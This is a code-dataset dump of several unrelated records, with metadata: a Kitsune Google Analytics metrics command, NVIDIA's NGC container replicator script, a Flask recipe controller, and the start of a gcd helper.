SEARCH_CLICKS_METRIC_CODE,\n SEARCH_SEARCHES_METRIC_CODE,\n Metric,\n MetricKind,\n)\nfrom kitsune.sumo import googleanalytics\n\n\nclass Command(BaseCommand):\n help = \"Get new search CTR data from Google Analytics and save.\"\n\n def handle(self, **options):\n if settings.STAGE:\n # Let's be nice to GA and skip on stage.\n return\n\n # Start updating the day after the last updated.\n latest_metric = utils._get_latest_metric(SEARCH_CLICKS_METRIC_CODE)\n if latest_metric is not None:\n latest_metric_date = latest_metric.start\n else:\n latest_metric_date = date(2011, 1, 1)\n start = latest_metric_date + timedelta(days=1)\n\n # Collect up until yesterday\n end = date.today() - timedelta(days=1)\n\n # Get the CTR data from Google Analytics.\n ctr_data = googleanalytics.search_ctr(start, end)\n\n # Create the metrics.\n clicks_kind = MetricKind.objects.get_or_create(code=SEARCH_CLICKS_METRIC_CODE)[0]\n searches_kind = MetricKind.objects.get_or_create(code=SEARCH_SEARCHES_METRIC_CODE)[0]\n for date_str, ctr in list(ctr_data.items()):\n day = datetime.strptime(date_str, \"%Y-%m-%d\").date()\n\n # Note: we've been storing our search data as total number of\n # searches and clicks. Google Analytics only gives us the rate,\n # so I am normalizing to 1000 searches (multiplying the % by 10).\n # I didn't switch everything to a rate because I don't want to\n # throw away the historic data.\n Metric.objects.create(\n kind=searches_kind, start=day, end=day + timedelta(days=1), value=1000\n )\n Metric.objects.create(\n kind=clicks_kind,\n start=day,\n end=day + timedelta(days=1),\n value=round(ctr, 1) * 10,\n )\n", "repo_name": "mozilla/kitsune", "sub_path": "kitsune/kpi/management/commands/update_search_ctr_metric.py", "file_name": "update_search_ctr_metric.py", "file_ext": "py", "file_size_in_byte": 2127, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1209, "dataset": "github-code", "pt": "71", "api": [{"api_name": "django.core.management.base.BaseCommand", "line_number": 16, "usage_type": "name"}, {"api_name": "django.conf.settings.STAGE", "line_number": 20, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 20, "usage_type": "name"}, {"api_name": "kitsune.kpi.management.utils._get_latest_metric", "line_number": 25, "usage_type": "call"}, {"api_name": "kitsune.kpi.models.SEARCH_CLICKS_METRIC_CODE", "line_number": 25, "usage_type": "argument"}, {"api_name": "kitsune.kpi.management.utils", "line_number": 25, "usage_type": "name"}, {"api_name": "datetime.date", "line_number": 29, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 30, "usage_type": "call"}, {"api_name": "datetime.date.today", "line_number": 33, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 33, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 33, "usage_type": "call"}, {"api_name": "kitsune.sumo.googleanalytics.search_ctr", "line_number": 36, "usage_type": "call"}, {"api_name": "kitsune.sumo.googleanalytics", "line_number": 36, "usage_type": "name"}, {"api_name": "kitsune.kpi.models.MetricKind.objects.get_or_create", "line_number": 39, "usage_type": "call"}, {"api_name": "kitsune.kpi.models.MetricKind.objects", "line_number": 39, "usage_type": "attribute"}, {"api_name": "kitsune.kpi.models.MetricKind", "line_number": 39, "usage_type": "name"}, {"api_name": "kitsune.kpi.models.SEARCH_CLICKS_METRIC_CODE", "line_number": 39, "usage_type": "name"}, {"api_name": "kitsune.kpi.models.MetricKind.objects.get_or_create", "line_number": 40, "usage_type": "call"}, {"api_name": "kitsune.kpi.models.MetricKind.objects", "line_number": 40, "usage_type": "attribute"}, {"api_name": "kitsune.kpi.models.MetricKind", "line_number": 40, "usage_type": "name"}, {"api_name": "kitsune.kpi.models.SEARCH_SEARCHES_METRIC_CODE", "line_number": 40, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 42, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 42, "usage_type": "name"}, {"api_name": "kitsune.kpi.models.Metric.objects.create", "line_number": 49, "usage_type": "call"}, {"api_name": "kitsune.kpi.models.Metric.objects", "line_number": 49, "usage_type": "attribute"}, {"api_name": "kitsune.kpi.models.Metric", "line_number": 49, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 50, "usage_type": "call"}, {"api_name": "kitsune.kpi.models.Metric.objects.create", "line_number": 52, "usage_type": "call"}, {"api_name": "kitsune.kpi.models.Metric.objects", "line_number": 52, "usage_type": "attribute"}, {"api_name": "kitsune.kpi.models.Metric", "line_number": 52, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 55, "usage_type": "call"}]} {"seq_id": "15139746914", "text": "# -*- coding: utf-8 -*-\nimport collections\nimport json\nimport logging\nimport os\nimport pprint\nimport re\nimport time\n\nfrom concurrent import futures\n\nimport click\n#import grpc\nimport yaml\n\nfrom nvidia_deepops import Progress, utils\nfrom nvidia_deepops.docker import DockerClient, NGCRegistry, DGXRegistry\n\nfrom . import replicator_pb2\n#from . import replicator_pb2_grpc\n\nlog = utils.get_logger(__name__, level=logging.INFO)\n\n_ONE_DAY_IN_SECONDS = 60 * 60 * 24\n\n\nclass Replicator:\n\n def __init__(self, *, api_key, project, **optional_config):\n log.info(\"Initializing Replicator\")\n self._config = optional_config\n self.project = project\n self.service = self.config(\"service\")\n if len(api_key) == 40:\n self.nvcr = DGXRegistry(api_key)\n else:\n self.nvcr = NGCRegistry(api_key)\n self.nvcr_client = DockerClient()\n self.nvcr_client.login(username=\"$oauthtoken\", password=api_key, registry=\"nvcr.io/v2\")\n self.registry_client = None\n self.min_version = self.config(\"min_version\")\n self.py_version = self.config(\"py_version\")\n self.images = self.config(\"image\") or []\n self.progress = Progress(uri=self.config(\"progress_uri\"))\n if self.config(\"registry_url\"):\n self.registry_url = self.config(\"registry_url\")\n self.registry_client = DockerClient()\n if self.config(\"registry_username\") and self.config(\"registry_password\"):\n self.registry_client.login(username=self.config(\"registry_username\"),\n password=self.config(\"registry_password\"),\n registry=self.config(\"registry_url\"))\n self.output_path = self.config(\"output_path\") or \"/output\"\n self.state_path = os.path.join(self.output_path, \"state.yml\")\n self.state = collections.defaultdict(dict)\n if os.path.exists(self.state_path):\n with open(self.state_path, \"r\") as file:\n tmp = yaml.load(file, Loader=yaml.UnsafeLoader)\n if tmp:\n for key, val in tmp.items():\n self.state[key] = val\n self.export_to_tarfile = self.config(\"exporter\")\n self.third_party_images = []\n if self.config(\"external_images\"):\n self.third_party_images.extend(self.read_external_images_file())\n if self.export_to_tarfile:\n log.info(\"tarfiles will be saved to {}\".format(self.output_path))\n self.export_to_singularity = self.config(\"singularity\")\n if self.export_to_singularity:\n log.info(\"singularity images will be saved to {}\".format(self.output_path))\n log.info(\"Replicator initialization complete\")\n\n def read_external_images_file(self):\n with open(self.config(\"external_images\"), \"r\") as file:\n data = yaml.load(file, Loader=yaml.UnsafeLoader)\n images = data.get(\"images\", [])\n images = [replicator_pb2.DockerImage(name=image[\"name\"], tag=image.get(\"tag\", \"latest\")) for image in images]\n return images\n\n def config(self, key, default=None):\n return self._config.get(key, default)\n\n def save_state(self):\n with open(self.state_path, \"w\") as file:\n yaml.dump(self.state, file)\n\n def sync(self, project=None):\n log.info(\"Replicator Started\")\n\n # pull images\n new_images = {image.name: image.tag for image in self.sync_images(project=project)}\n\n # pull image descriptions - new_images should be empty for dry runs\n self.progress.update_step(key=\"markdown\", status=\"running\")\n self.update_progress()\n descriptions = self.nvcr.get_image_descriptions(project=project)\n for image_name, _ in new_images.items():\n markdown = os.path.join(self.output_path, \"description_{}.md\".format(image_name.replace('/', '%%')))\n with open(markdown, \"w\") as out:\n out.write(descriptions.get(image_name, \"\"))\n self.progress.update_step(key=\"markdown\", status=\"complete\")\n self.update_progress()\n log.info(\"Replicator finished\")\n\n def sync_images(self, project=None):\n project = project or self.project\n for image in self.images_to_download(project=project):\n if self.config(\"dry_run\"):\n click.echo(\"[dry-run] clone_image({}, {}, {})\".format(image.name, image.tag, image.docker_id))\n continue\n log.info(\"Pulling {}:{}\".format(image.name, image.tag))\n self.clone_image(image.name, image.tag, image.docker_id) # independent\n self.state[image.name][image.tag] = image.docker_id # dep [clone]\n yield image\n self.save_state()\n\n def images_to_download(self, project=None):\n project = project or self.project\n\n self.progress.add_step(key=\"query\", status=\"running\", header=\"Getting list of Docker images to clone\")\n self.update_progress(progress_length_unknown=True)\n\n # determine images and tags (and dockerImageIds) from the remote registry\n if self.config(\"strict_name_match\"):\n filter_fn = self.filter_on_tag_strict if self.min_version or self.images else None\n else:\n filter_fn = self.filter_on_tag if self.min_version or self.images else None\n remote_state = self.nvcr.get_state(project=project, filter_fn=filter_fn)\n\n # determine which images need to be fetch for the local state to match the remote\n to_pull = self.missing_images(remote_state)\n\n # sort images into two buckets: cuda and not cuda\n cuda_images = { key: val for key, val in to_pull.items() if key.endswith(\"cuda\") }\n other_images = { key: val for key, val in to_pull.items() if not key.endswith(\"cuda\") }\n\n all_images = [image for image in self.images_from_state(cuda_images)]\n all_images.extend([image for image in self.images_from_state(other_images)])\n\n if self.config(\"external_images\"):\n all_images.extend(self.third_party_images)\n\n for image in all_images:\n self.progress.add_step(key=\"{}:{}\".format(image.name, image.tag),\n header=\"Cloning {}:{}\".format(image.name, image.tag),\n subHeader=\"Waiting to pull image\")\n self.progress.add_step(key=\"markdown\", header=\"Downloading NVIDIA Deep Learning READMEs\")\n self.progress.update_step(key=\"query\", status=\"complete\")\n self.update_progress()\n\n for image in self.images_from_state(cuda_images):\n yield image\n\n for image in self.images_from_state(other_images):\n yield image\n\n if self.config(\"external_images\"):\n for image in self.third_party_images:\n yield image\n\n def update_progress(self, progress_length_unknown=False):\n self.progress.post(progress_length_unknown=progress_length_unknown)\n\n @staticmethod\n def images_from_state(state):\n for image_name, tag_data in state.items():\n for tag, docker_id in tag_data.items():\n yield replicator_pb2.DockerImage(name=image_name, tag=tag, docker_id=docker_id.get(\"docker_id\", \"\"))\n\n def clone_image(self, image_name, tag, docker_id):\n if docker_id:\n url = self.nvcr.docker_url(image_name, tag=tag)\n else:\n url = \"{}:{}\".format(image_name, tag)\n if self.export_to_tarfile:\n tarfile = self.nvcr_client.url2filename(url)\n if os.path.exists(tarfile):\n log.warning(\"{} exists; removing and rebuilding\".format(tarfile))\n os.remove(tarfile)\n log.info(\"cloning %s --> %s\" % (url, tarfile))\n self.progress.update_step(key=\"{}:{}\".format(image_name, tag), status=\"running\", subHeader=\"Pulling image from Registry\")\n self.update_progress()\n self.nvcr_client.pull(url)\n self.progress.update_step(key=\"{}:{}\".format(image_name, tag), status=\"running\", subHeader=\"Saving image to tarfile\")\n self.update_progress()\n self.nvcr_client.save(url, path=self.output_path)\n self.progress.update_step(key=\"{}:{}\".format(image_name, tag), status=\"complete\", subHeader=\"Saved {}\".format(tarfile))\n log.info(\"Saved image: %s --> %s\" % (url, tarfile))\n if self.export_to_singularity:\n sif = os.path.join(self.output_path, \"{}.sif\".format(url).replace(\"/\", \"_\"))\n if os.path.exists(sif):\n log.warning(\"{} exists; removing and rebuilding\".format(sif))\n os.remove(sif)\n log.info(\"cloning %s --> %s\" % (url, sif))\n self.progress.update_step(key=\"{}:{}\".format(image_name, tag), status=\"running\", subHeader=\"Pulling image from Registry\")\n self.update_progress()\n self.nvcr_client.pull(url)\n self.progress.update_step(key=\"{}:{}\".format(image_name, tag), status=\"running\", subHeader=\"Saving image to singularity image file\")\n self.update_progress()\n utils.execute(\"singularity build {} docker-daemon://{}\".format(sif, url))\n self.progress.update_step(key=\"{}:{}\".format(image_name, tag), status=\"complete\", subHeader=\"Saved {}\".format(sif))\n log.info(\"Saved image: %s --> %s\" % (url, sif))\n if self.registry_client:\n push_url = \"{}/{}:{}\".format(self.registry_url, image_name, tag)\n self.nvcr_client.pull(url)\n self.registry_client.tag(url, push_url)\n self.registry_client.push(push_url)\n self.registry_client.remove(push_url)\n if not self.config(\"no_remove\") and not image_name.endswith(\"cuda\") and self.nvcr_client.get(url=url):\n try:\n self.nvcr_client.remove(url)\n except:\n log.warning(\"tried to remove docker image {}, but unexpectedly failed\".format(url))\n return image_name, tag, docker_id\n\n def filter_on_tag(self, *, name, tag, docker_id, strict_name_match=False):\n \"\"\"\n Filter function used by the `nvidia_deepops` library for selecting images.\n\n Return True if the name/tag/docker_id combo should be included for consideration.\n Return False and the image will be excluded from consideration, i.e. not cloned/replicated.\n \"\"\"\n if self.images:\n log.debug(\"filtering on images name, only allow {}\".format(self.images))\n found = False\n for image in self.images:\n if (not strict_name_match) and (image in name):\n log.debug(\"{} passes filter; matches {}\".format(name, image))\n found = True\n elif (strict_name_match) and image.strip() == (name.split('/')[-1]).strip():\n log.debug(\"{} passes strict filter; matches {}\".format(name, image))\n found = True\n if not found:\n log.debug(\"{} fails filter by image name\".format(name))\n return False\n # if you are here, you have passed the name test\n # now, we check the version of the container by trying to extract the YY.MM details from the tag\n if self.py_version:\n if tag.find(self.py_version) == -1:\n log.debug(\"tag {} fails py_version {} filter\".format(tag, self.py_version))\n return False\n version_regex = re.compile(r\"^(\\d\\d\\.\\d\\d)\")\n float_tag = version_regex.findall(tag)\n if float_tag and len(float_tag) == 1:\n try:\n # this is a bit ugly, but if for some reason the cast of float_tag[0] or min_verison fail\n # we fallback to safety and skip tag filtering\n val = float(float_tag[0])\n lower_bound = float(self.min_version)\n if val < lower_bound:\n return False\n except Exception:\n pass\n # if you are here, you have passed the tag test\n return True\n\n def filter_on_tag_strict(self, *, name, tag, docker_id):\n return self.filter_on_tag(name=name, tag=tag, docker_id=docker_id, strict_name_match=True)\n\n def missing_images(self, remote):\n \"\"\"\n Generates a dict of dicts on a symmetric difference between remote/local which also includes\n any image/tag pair in both but with differing dockerImageIds.\n :param remote: `image_name:tag:docker_id` of remote content\n :param local: `image_name:tag:docker_id` of local content\n :return: `image_name:tag:docker_id` for each missing or different entry in remote but not in local\n \"\"\"\n to_pull = collections.defaultdict(dict)\n local = self.state\n\n # determine which images are not present\n image_names = set(remote.keys()) - set(local.keys())\n for image_name in image_names:\n to_pull[image_name] = remote[image_name]\n\n # log.debug(\"remote image names: %s\" % remote.keys())\n # log.debug(\"local image names: %s\" % local.keys())\n log.debug(\"image names not present: %s\" % to_pull.keys())\n\n # determine which tags are not present\n for image_name, tag_data in remote.items():\n tags = set(tag_data.keys()) - set(local[image_name].keys())\n # log.debug(\"remote %s tags: %s\" % (image_name, tag_data.keys()))\n # log.debug(\"local %s tags: %s\" % (image_name, local[image_name].keys()))\n log.debug(\"tags not present for image {}: {}\".format(image_name, tags))\n for tag in tags:\n to_pull[image_name][tag] = remote[image_name][tag]\n\n # determine if any name/tag pairs have a different dockerImageId than previously seen\n # this handles the cases where someone push a new images and overwrites a name:tag image\n for image_name, tag_data in remote.items():\n if image_name not in local: continue\n for tag, docker_id in tag_data.items():\n if tag not in local[image_name]: continue\n if docker_id.get(\"docker_id\") != local[image_name][tag]:\n log.debug(\"%s:%s changed on server\" % (image_name, tag))\n to_pull[image_name][tag] = docker_id\n\n log.info(\"images to be fetched: %s\" % pprint.pformat(to_pull, indent=4))\n return to_pull\n\n\n## class ReplicatorService(replicator_pb2_grpc.ReplicatorServicer):\n## \n## def __init__(self, *, replicator):\n## self.replicator = replicator\n## self.replicator.service = True\n## \n## def StartReplication(self, request, context):\n## project = request.org_name or self.replicator.project\n## for image in self.replicator.sync_images(project=project):\n## yield image\n## \n## def ListImages(self, request, context):\n## project = request.org_name or self.replicator.project\n## for image in self.replicator.images_to_download(project=project):\n## yield image\n## # images_and_tags = self.replicator.nvcr.get_images_and_tags(project=project)\n## # for image_name, tags in images_and_tags.items():\n## # for tag in tags:\n## # yield replicator_pb2.DockerImage(name=image_name, tag=tag)\n## \n## def DownloadedImages(self, request, context):\n## for images in self.replicator.images_from_state(self.replicator.state):\n## yield images\n\n\n@click.command()\n@click.option(\"--api-key\", envvar=\"NGC_REPLICATOR_API_KEY\")\n@click.option(\"--project\", default=\"nvidia\")\n@click.option(\"--output-path\", default=\"/output\")\n@click.option(\"--min-version\")\n@click.option(\"--py-version\")\n@click.option(\"--image\", multiple=True)\n@click.option(\"--registry-url\")\n@click.option(\"--registry-username\")\n@click.option(\"--registry-password\")\n@click.option(\"--dry-run\", is_flag=True)\n@click.option(\"--service\", is_flag=True)\n@click.option(\"--external-images\")\n@click.option(\"--progress-uri\")\n@click.option(\"--no-remove\", is_flag=True)\n@click.option(\"--exporter/--no-exporter\", default=True)\n@click.option(\"--templater/--no-templater\", default=False)\n@click.option(\"--singularity/--no-singularity\", default=False)\n@click.option(\"--strict-name-match/--no-strict-name-match\", default=False)\ndef main(**config):\n \"\"\"\n NGC Replication Service\n \"\"\"\n if config.get(\"api_key\", None) is None:\n click.echo(\"API key required; use --api-key or NGC_REPLICATOR_API_KEY\", err=True)\n raise click.Abort\n\n replicator = Replicator(**config)\n\n if replicator.service:\n# server = grpc.server(futures.ThreadPoolExecutor(max_workers=1))\n# replicator_pb2_grpc.add_ReplicatorServicer_to_server(\n# ReplicatorService(replicator=replicator), server\n# )\n# server.add_insecure_port('[::]:50051')\n# log.info(\"starting GRPC service on port 50051\")\n# server.start()\n# try:\n# while True:\n# time.sleep(_ONE_DAY_IN_SECONDS)\n# except KeyboardInterrupt:\n# server.stop(0)\n raise NotImplementedError(\"GPRC Service has been depreciated\")\n else:\n replicator.sync()\n\n\nif __name__ == \"__main__\":\n main(auto_envvar_prefix='NGC_REPLICATOR')\n", "repo_name": "NVIDIA/ngc-container-replicator", "sub_path": "replicator/ngc_replicator/ngc_replicator.py", "file_name": "ngc_replicator.py", "file_ext": "py", "file_size_in_byte": 17234, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 25, "dataset": "github-code", "pt": "71", "api": [{"api_name": "nvidia_deepops.utils.get_logger", "line_number": 22, "usage_type": "call"}, {"api_name": "nvidia_deepops.utils", "line_number": 22, "usage_type": "name"}, {"api_name": "logging.INFO", "line_number": 22, "usage_type": "attribute"}, {"api_name": "nvidia_deepops.docker.DGXRegistry", "line_number": 35, "usage_type": "call"}, {"api_name": "nvidia_deepops.docker.NGCRegistry", "line_number": 37, "usage_type": "call"}, {"api_name": "nvidia_deepops.docker.DockerClient", "line_number": 38, "usage_type": "call"}, {"api_name": "nvidia_deepops.Progress", "line_number": 44, "usage_type": "call"}, {"api_name": "nvidia_deepops.docker.DockerClient", "line_number": 47, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 53, "usage_type": "call"}, {"api_name": "os.path", "line_number": 53, "usage_type": "attribute"}, {"api_name": "collections.defaultdict", "line_number": 54, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 55, "usage_type": "call"}, {"api_name": "os.path", "line_number": 55, "usage_type": "attribute"}, {"api_name": "yaml.load", "line_number": 57, "usage_type": "call"}, {"api_name": "yaml.UnsafeLoader", "line_number": 57, "usage_type": "attribute"}, {"api_name": "yaml.load", "line_number": 74, "usage_type": "call"}, {"api_name": "yaml.UnsafeLoader", "line_number": 74, "usage_type": "attribute"}, {"api_name": "yaml.dump", "line_number": 84, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 97, "usage_type": "call"}, {"api_name": "os.path", "line_number": 97, "usage_type": "attribute"}, {"api_name": "click.echo", "line_number": 108, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 176, "usage_type": "call"}, {"api_name": "os.path", "line_number": 176, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 178, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 189, "usage_type": "call"}, {"api_name": "os.path", "line_number": 189, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 190, "usage_type": "call"}, {"api_name": "os.path", "line_number": 190, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 192, "usage_type": "call"}, {"api_name": "nvidia_deepops.utils.execute", "line_number": 199, "usage_type": "call"}, {"api_name": "nvidia_deepops.utils", "line_number": 199, "usage_type": "name"}, {"api_name": "re.compile", "line_number": 241, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 267, "usage_type": "call"}, {"api_name": "pprint.pformat", "line_number": 298, "usage_type": "call"}, {"api_name": "click.echo", "line_number": 351, "usage_type": "call"}, {"api_name": "click.Abort", "line_number": 352, "usage_type": "attribute"}, {"api_name": "click.command", "line_number": 327, "usage_type": "call"}, {"api_name": "click.option", "line_number": 328, "usage_type": "call"}, {"api_name": "click.option", "line_number": 329, "usage_type": "call"}, {"api_name": "click.option", "line_number": 330, "usage_type": "call"}, {"api_name": "click.option", "line_number": 331, "usage_type": "call"}, {"api_name": "click.option", "line_number": 332, "usage_type": "call"}, {"api_name": "click.option", "line_number": 333, "usage_type": "call"}, {"api_name": "click.option", "line_number": 334, "usage_type": "call"}, {"api_name": "click.option", "line_number": 335, "usage_type": "call"}, {"api_name": "click.option", "line_number": 336, "usage_type": "call"}, {"api_name": "click.option", "line_number": 337, "usage_type": "call"}, {"api_name": "click.option", "line_number": 338, "usage_type": "call"}, {"api_name": "click.option", "line_number": 339, "usage_type": "call"}, {"api_name": "click.option", "line_number": 340, "usage_type": "call"}, {"api_name": "click.option", "line_number": 341, "usage_type": "call"}, {"api_name": "click.option", "line_number": 342, "usage_type": "call"}, {"api_name": "click.option", "line_number": 343, "usage_type": "call"}, {"api_name": "click.option", "line_number": 344, "usage_type": "call"}, {"api_name": "click.option", "line_number": 345, "usage_type": "call"}]} {"seq_id": "41337285786", "text": "from flask_app import app\r\nfrom flask import render_template,redirect,request,session,flash\r\nfrom flask_app.models import recipe, user\r\n\r\n\r\n@app.route('/create/recipe')\r\ndef create_recipe():\r\n if 'user_id' in session:\r\n return render_template('createRecipe.html')\r\n return redirect('/home')\r\n\r\n@app.route('/save/recipe', methods= ['post'])\r\ndef save_recipe():\r\n if 'user_id' in session:\r\n if recipe.Recipe.validate_post(request.form):\r\n data ={\r\n 'name': request.form['name'],\r\n 'description': request.form['description'],\r\n 'instructions': request.form['instructions'],\r\n 'date': request.form['date'],\r\n 'under_30': request.form['under_30'],\r\n 'user_id':session['user_id'],\r\n }\r\n recipe.Recipe.save(data)\r\n return redirect('/dashboard')\r\n return redirect('/home')\r\n\r\n\r\n@app.route('/delete/recipe/<int:id>')\r\ndef delete_recipe(id):\r\n if 'user_id' in session:\r\n recipe.Recipe.delete({'id': id})\r\n return redirect('/dashboard')\r\n return redirect('/home')\r\n\r\n@app.route('/update/recipe/<int:id>')\r\ndef update_recipe(id):\r\n if 'user_id' in session:\r\n r = recipe.Recipe.get_by_id({'id': id})\r\n print(r)\r\n return render_template('updateRecipe.html' ,r=r)\r\n return redirect('/home')\r\n\r\n@app.route('/save/recipe/<int:id>', methods= {'post'})\r\ndef save_update(id):\r\n if 'user_id' in session:\r\n if recipe.Recipe.validate_post(request.form):\r\n data ={\r\n 'name': request.form['name'],\r\n 'description': request.form['description'],\r\n 'instructions': request.form['instructions'],\r\n 'date': request.form['date'],\r\n 'under_30': request.form['under_30'],\r\n 'id':id,\r\n }\r\n recipe.Recipe.save_update(data)\r\n return redirect(f'/update/recipe/{id}')\r\n return redirect(f'/update/recipe/{id}')\r\n return redirect('/home')\r\n\r\n@app.route('/show/recipe/<int:id>')\r\ndef show_recipe(id):\r\n if 'user_id' in session:\r\n r = recipe.Recipe.get_by_id({'id': id})\r\n current_user =user.User.get_by_id({'id':session['user_id']})\r\n return render_template('viewRecipe.html' ,r=r, current_user=current_user)\r\n return redirect('/home')\r\n\r\n", "repo_name": "Brian-Lester/Python", "sub_path": "flask_mysql/belt_review/recipes/flask_app/controllers/recipe_controller.py", "file_name": "recipe_controller.py", "file_ext": "py", "file_size_in_byte": 2386, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "flask.session", "line_number": 8, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 9, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 10, "usage_type": "call"}, {"api_name": "flask_app.app.route", "line_number": 6, "usage_type": "call"}, {"api_name": "flask_app.app", "line_number": 6, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 14, "usage_type": "name"}, {"api_name": "flask_app.models.recipe.Recipe.validate_post", "line_number": 15, "usage_type": "call"}, {"api_name": "flask_app.models.recipe.Recipe", "line_number": 15, "usage_type": "attribute"}, {"api_name": "flask_app.models.recipe", "line_number": 15, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 15, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 15, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 17, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 17, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 18, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 18, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 19, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 19, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 20, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 20, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 21, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 21, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 22, "usage_type": "name"}, {"api_name": "flask_app.models.recipe.Recipe.save", "line_number": 24, "usage_type": "call"}, {"api_name": "flask_app.models.recipe.Recipe", "line_number": 24, "usage_type": "attribute"}, {"api_name": "flask_app.models.recipe", "line_number": 24, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 25, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 26, "usage_type": "call"}, {"api_name": "flask_app.app.route", "line_number": 12, "usage_type": "call"}, {"api_name": "flask_app.app", "line_number": 12, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 31, "usage_type": "name"}, {"api_name": "flask_app.models.recipe.Recipe.delete", "line_number": 32, "usage_type": "call"}, {"api_name": "flask_app.models.recipe.Recipe", "line_number": 32, "usage_type": "attribute"}, {"api_name": "flask_app.models.recipe", "line_number": 32, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 33, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 34, "usage_type": "call"}, {"api_name": "flask_app.app.route", "line_number": 29, "usage_type": "call"}, {"api_name": "flask_app.app", "line_number": 29, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 38, "usage_type": "name"}, {"api_name": "flask_app.models.recipe.Recipe.get_by_id", "line_number": 39, "usage_type": "call"}, {"api_name": "flask_app.models.recipe.Recipe", "line_number": 39, "usage_type": "attribute"}, {"api_name": "flask_app.models.recipe", "line_number": 39, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 41, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 42, "usage_type": "call"}, {"api_name": "flask_app.app.route", "line_number": 36, "usage_type": "call"}, {"api_name": "flask_app.app", "line_number": 36, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 46, "usage_type": "name"}, {"api_name": "flask_app.models.recipe.Recipe.validate_post", "line_number": 47, "usage_type": "call"}, {"api_name": "flask_app.models.recipe.Recipe", "line_number": 47, "usage_type": "attribute"}, {"api_name": "flask_app.models.recipe", "line_number": 47, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 47, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 47, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 49, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 49, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 50, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 50, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 51, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 51, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 52, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 52, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 53, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 53, "usage_type": "name"}, {"api_name": "flask_app.models.recipe.Recipe.save_update", "line_number": 56, "usage_type": "call"}, {"api_name": "flask_app.models.recipe.Recipe", "line_number": 56, "usage_type": "attribute"}, {"api_name": "flask_app.models.recipe", "line_number": 56, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 57, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 58, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 59, "usage_type": "call"}, {"api_name": "flask_app.app.route", "line_number": 44, "usage_type": "call"}, {"api_name": "flask_app.app", "line_number": 44, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 63, "usage_type": "name"}, {"api_name": "flask_app.models.recipe.Recipe.get_by_id", "line_number": 64, "usage_type": "call"}, {"api_name": "flask_app.models.recipe.Recipe", "line_number": 64, "usage_type": "attribute"}, {"api_name": "flask_app.models.recipe", "line_number": 64, "usage_type": "name"}, {"api_name": "flask_app.models.user.User.get_by_id", "line_number": 65, "usage_type": "call"}, {"api_name": "flask_app.models.user.User", "line_number": 65, "usage_type": "attribute"}, {"api_name": "flask_app.models.user", "line_number": 65, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 65, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 66, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 67, "usage_type": "call"}, {"api_name": "flask_app.app.route", "line_number": 61, "usage_type": "call"}, {"api_name": "flask_app.app", "line_number": 61, "usage_type": "name"}]} {"seq_id": "70347013990", "text": "from flask import abort, jsonify\n\ndef gcd_euclides(a, b):\n try:\n conversionA = int(a)\n conversionB = int(b)\n except ValueError:\n return abort(400, \"Error! los valores deben ser enteros\")\n\n if type(conversionA) == int and type(conversionB) == int:\n if conversionB == 0:\n return conversionA\n else:\n return gcd_euclides(conversionB, conversionA % conversionB)\n else: \n return abort(400, \"Error! los valores deben ser enteros\")", "repo_name": 